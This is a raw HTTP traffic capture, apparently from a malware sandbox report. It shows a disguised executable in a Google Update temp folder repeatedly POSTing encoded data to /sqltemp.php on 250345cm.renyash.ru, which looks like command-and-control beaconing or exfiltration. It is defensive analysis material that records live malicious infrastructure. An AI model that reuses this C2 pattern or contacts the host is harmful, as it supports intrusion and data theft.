118	192.168.2.6	62757	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:39.299521923 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:39.658600092 CET	1124	OUT	Data Raw: 56 50 5f 52 54 58 54 54 58 56 52 59 56 5f 59 52 5b 5f 54 5f 55 5a 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VP_RTXTTXVRYV_YR[_T_UZPZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-'?=\#&$>$;- 0Y+)#R==#727(8%C$/9:&Y.,Y-9
Jan 1, 2025 16:03:39.751976967 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:39.925379038 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WYnu1ZkmwL4EDD19D14ooVoF3ufcCvFFpos4%2BPaMnghRmsLQAJ5pEGs4eBZqXTjniwiOn2U9PZ42lExVVd1X4bI%2B44YMVjDouMIp9bigY%2FR5CEWe93D6shVMAGc2fEeCExijdEXT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365b92fd443aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1785&min_rtt=1776&rtt_var=685&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=787911&cwnd=240&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	62758	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:40.053627968 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:40.408674002 CET	1124	OUT	Data Raw: 56 57 5f 51 51 5b 54 55 58 56 52 59 56 5c 59 5e 5b 5f 54 5b 55 5b 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VW_QQ[TUXVRYV\Y^[_T[U[P\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.X',> /]$X /#?W>X!2+]+>2<<.*&Y.,Y-5
Jan 1, 2025 16:03:40.506849051 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:40.771244049 CET	814	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cUL2r3aG2a%2Bqh6K%2FAqhbotEKkuUxH%2FG1jUSOSFTk5arZGMelZ04oCyxQX86Mpp6yR09mEvQkV%2Br26FUu%2BZHVpBGqlAQFdgZkAkj%2B5oz%2FldqPxbWIJ7SO%2FbQwaeBiXcY87z6Bius3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365bddae743d9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4343&min_rtt=1734&rtt_var=5869&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=64567&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	62759	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:40.895390034 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:41.251220942 CET	1124	OUT	Data Raw: 53 52 5a 54 51 5a 54 52 58 56 52 59 56 5d 59 55 5b 52 54 5f 55 5d 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SRZTQZTRXVRYV]YU[RT_U]PYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-',& =Y'8/9S#>,[(:+)X< 4<;2<79:&Y.,Y-1
Jan 1, 2025 16:03:41.359993935 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:41.547441959 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I2woTlwtnWC7r8jbSaBqZlmQBTIyWGX9ACP%2FD2M5ACPsy1XF30dUmrWx0jkudgHTdwiPGhgkdWFa64%2BJK6h%2BA%2Bd78mhVrpZll7Uq6jlg4AObiej3wgcT313MYEbQXFVuE4uKdE7W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365c33d5d236a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3628&min_rtt=1929&rtt_var=4123&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=94029&cwnd=169&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	62760	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:41.675725937 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:42.032387972 CET	1124	OUT	Data Raw: 56 50 5a 54 54 58 54 54 58 56 52 59 56 5f 59 5f 5b 53 54 5a 55 5b 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VPZTTXTTXVRYV_Y_[STZU[P[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.'?&4%$0.:)#+)(>47T#++D$?'.:&Y.,Y-9
Jan 1, 2025 16:03:42.120174885 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:42.291538954 CET	796	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9IYY9sb1HjlKcGhsDgOWfOLdOMofAIJu4gunhdYsS1W69N69pKmyGHmRJzaLxX8N2j91X1ZLPoett%2Bgub1ocLR51d47kb91DuE3nHz3MvEaLyi0cRS9UzT3I6rtrqzAWmiW1NgCP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365c7f8587d13-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2470&min_rtt=1964&rtt_var=1750&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=242565&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a Data Ascii: 42W\X
Jan 1, 2025 16:03:42.378343105 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	62761	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:42.335901022 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1936 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	62762	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:42.510298967 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:42.860558033 CET	1124	OUT	Data Raw: 53 55 5f 56 51 5a 51 56 58 56 52 59 56 5e 59 57 5b 5d 54 58 55 5d 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SU_VQZQVXVRYV^YW[]TXU]PZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-067$+B8T4=<Y+3*#70(C%<-&Y.,Y-
Jan 1, 2025 16:03:42.959820986 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:43.130522966 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gtn34wXT3er20%2FRqtJKGsIY1Q3eyncmXfQwFZTevxb3y6cLkFFbHZ6PDVvYi2VMQYUhDL5hqw2dxVzPIO%2BgG82EJXmookGovzWotFrdOLtpGoKAlR51nPrY0174W4XfvFEd9DApC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365cd3c2d41b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4353&min_rtt=1635&rtt_var=6050&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=62438&cwnd=198&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	62763	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:43.258281946 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:43.610611916 CET	1124	OUT	Data Raw: 53 54 5f 5d 54 5f 54 5c 58 56 52 59 56 5f 59 54 5b 5c 54 51 55 55 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: ST_]T_T\XVRYV_YT[\TQUUP[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-'5Y4Y%Y'7B/##(9;W(.,] ! +]=D%?<.:&Y.,Y-9
Jan 1, 2025 16:03:43.705312014 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:43.885575056 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9k5Og3UURlEj%2FPQrEPSozAoIA00I94Qr%2FnMHsbYeyeqm0fGzXQ8535jfttcWPh295JN6dXgeLFX5L6TcsUh9GEV%2Bq38PpoR1JL9bLnJMx9iwEGtT7etd7ltxxtT%2FzP5h%2FzO3JNba"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365d1dfb20f63-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4606&min_rtt=1517&rtt_var=6748&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=55655&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	62764	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:44.018285990 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:03:44.378343105 CET	1124	OUT	Data Raw: 56 52 5a 54 54 59 54 56 58 56 52 59 56 5a 59 57 5b 58 54 59 55 5c 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VRZTTYTVXVRYVZYW[XTYU\P\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$?"4?:%.;.:!7<_?+>>$[!17X*(5$?;.&Y.,Y--
Jan 1, 2025 16:03:44.471477985 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:44.729976892 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JF9pGiatDM2tnB3f0MwvgWIV4zdpoSgR3x7dMhitmGU0jn%2B72r9WSsUw707PgnvID56JoIfj7wbQs0zX12YFUhi8cnlJrKEVSXZZKC%2FxsQoWzd30NdOWcBqcbjnJuhUC2AaSgXZE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365d6ac068ccd-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1936&min_rtt=1899&rtt_var=787&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=663334&cwnd=194&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.6	62765	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:44.864994049 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:45.219928026 CET	1124	OUT	Data Raw: 53 55 5f 5d 54 5a 54 50 58 56 52 59 56 5a 59 56 5b 59 54 50 55 55 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SU_]TZTPXVRYVZYV[YTPUUP]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.0Y)#&'-8/\.!.'+)'S/43<&/7U-&Y.,Y--
Jan 1, 2025 16:03:45.307310104 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:45.482405901 CET	815	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=K%2FcPveT%2Bs7MLCT0%2FJ%2BnWevkyr%2FSHe2tYwDrUTgMb07v3FkTHJd51LcUvUbHaPj9o2WFfEQBke32%2BCQ%2Fpr8QingNYcmI3yK4RARWJ5zwCzA1D0PR%2BboeehlqA3REwn1VFIT0l6L1W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365dbec0e4408-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2163&min_rtt=1662&rtt_var=1625&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=257495&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.6	62766	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:45.624072075 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:45.969851017 CET	1124	OUT	Data Raw: 56 56 5a 54 54 5d 54 56 58 56 52 59 56 5b 59 55 5b 5d 54 51 55 58 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VVZTT]TVXVRYV[YU[]TQUXPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$?-X7\'X'B8:1 [/<#V)>+#2<&&Y+R,*&Y.,Y-)
Jan 1, 2025 16:03:46.070389986 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:46.335175991 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kKKWn68WSMLQWJ%2FAAc72arAhYwdsJLm3wei4CPBfyhKc%2B6gm3OLfMy0duYNpd9%2B9E4iV5%2BZ3p3MM8CV%2FRWllM73yGHh8NkHxClSz2JoBP05Dh3ueZoP1QKceEavNyW3ft6znB1rA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365e0ae660f49-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4005&min_rtt=1733&rtt_var=5195&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=73318&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	62767	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:03:46.474622965 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:03:46.829307079 CET	1124	OUT	Data Raw: 56 57 5a 53 54 51 54 55 58 56 52 59 56 5c 59 5e 5b 52 54 5e 55 54 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VWZSTQTUXVRYV\Y^[RT^UTPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Z'Y5]4<!]0-?/:!>8Z())$!13[+!B%?W-:&Y.,Y-5
Jan 1, 2025 16:03:46.921832085 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:03:47.184758902 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:03:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sZF4eTJB5Q10ur%2FFxYJM8jvzU99Je0qVD0%2Bg16bTSxMvl6ivnMMVFJNiF8Xe1BmbS6OXV%2Fa8SKd0OFajee0oF0kbOd5Syxk9xerhTVWXD9eSBEFcMXfRLwW572OHAlVSO%2BJvyCb%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb365e5fda6c338-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1799&min_rtt=1613&rtt_var=977&sent=3&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=470512&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	62768	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
